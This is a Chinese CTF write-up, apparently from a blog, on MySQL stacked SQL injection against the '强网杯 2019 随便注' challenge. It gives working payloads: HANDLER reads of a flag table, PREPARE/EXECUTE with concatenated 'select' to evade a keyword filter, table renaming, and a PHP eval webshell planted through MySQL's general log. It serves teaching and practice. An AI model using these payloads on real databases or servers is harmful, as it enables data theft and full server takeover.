CTF

MYSQL堆叠注入操作汇总

例题

就以 [强网杯 2019]随便注 这道题来进行实验和汇总MYSQL堆叠注入的操作吧

打开题目,我们随便输入个 1 进行查询

此时可以正常查询,我们尝试猜测闭合标签为'进行测试

此时发现闭合标签确实为'

接下来尝试联合注入,通过order by 我们得知只有2列,接下啦使用union进行联合注入。

我们发现题目屏蔽了select|update|delete|drop|insert|where|这些关键词,基本排除了联合注入、报错注入、盲注的可能性,为什么说基本排除,限制了select不应该就是完全限制死了这些注入的可能性吗?因为这些注入还有一些骚操作可以绕过select,不过不是我们这次研究的方向,这里我们直接尝试堆叠注入。

接下来我们使用以下语句

1'; handler `1919810931114514` open;handler `1919810931114514` read first;handler `1919810931114514` close;

Handler

HANDLER 是一个比较低级的语句;具有自己的会话机制,且会话对象不由其他会话共享,且直到会话调用 HANDLER... CLOSE 或会话终止时才关闭。(因此想要调用handler语句,必须用handler ... open 先开启handler会话)

HANDLER 语句提供了对表存储引擎接口的直接访问。所有形式的 HANDLER... READ 默认获取一行(如果有的话)

handler tablename open; # 打开一个表
handler tablename read first; # 读取第一行内容
handler tablename read next;  # 读取下一个内容
handler tablename close; # 关闭表

PREPARE EXECUTE

PREPARE准备一条sql语句

EXECUTE执行一条sql语句

1PREPARE aaa from concat('s','elect', ' * from `1919810931114514` '); #预编译一条语句,可以使用,进行关键字拼接

EXECUTE aaa;#执行预编译的语句

SET

SET预编译语句

use supersqli;
set @sql=concat('s','elect flag from `1919810931114514`');
PREPARE stmt1 FROM @sql;
EXECUTE stmt1;

RENAME

更改表名以及字段属性

rename table words to words1;
rename table `1919810931114514` to words;
alter table words change flag id varchar(100);

另类写马

注入题它不一定非得注入,写个一句话也能搞些事情。

set global general_log=on; # 打开日志开关
set global general_log_file='/var/www/html/shell.php'; # 设置日志写入文件
select '<?php eval($_POST['a']) ?>'; # 操作一次一句话,让它写入日志

然后访问shell.php,接下来为所欲为!

本文著作权归作者 [ eson ] 享有,未经作者书面授权,禁止转载,封面图片来源于 [ 互联网 ] ,本文仅供个人学习、研究和欣赏使用。如有异议,请联系博主及时处理。

发表留言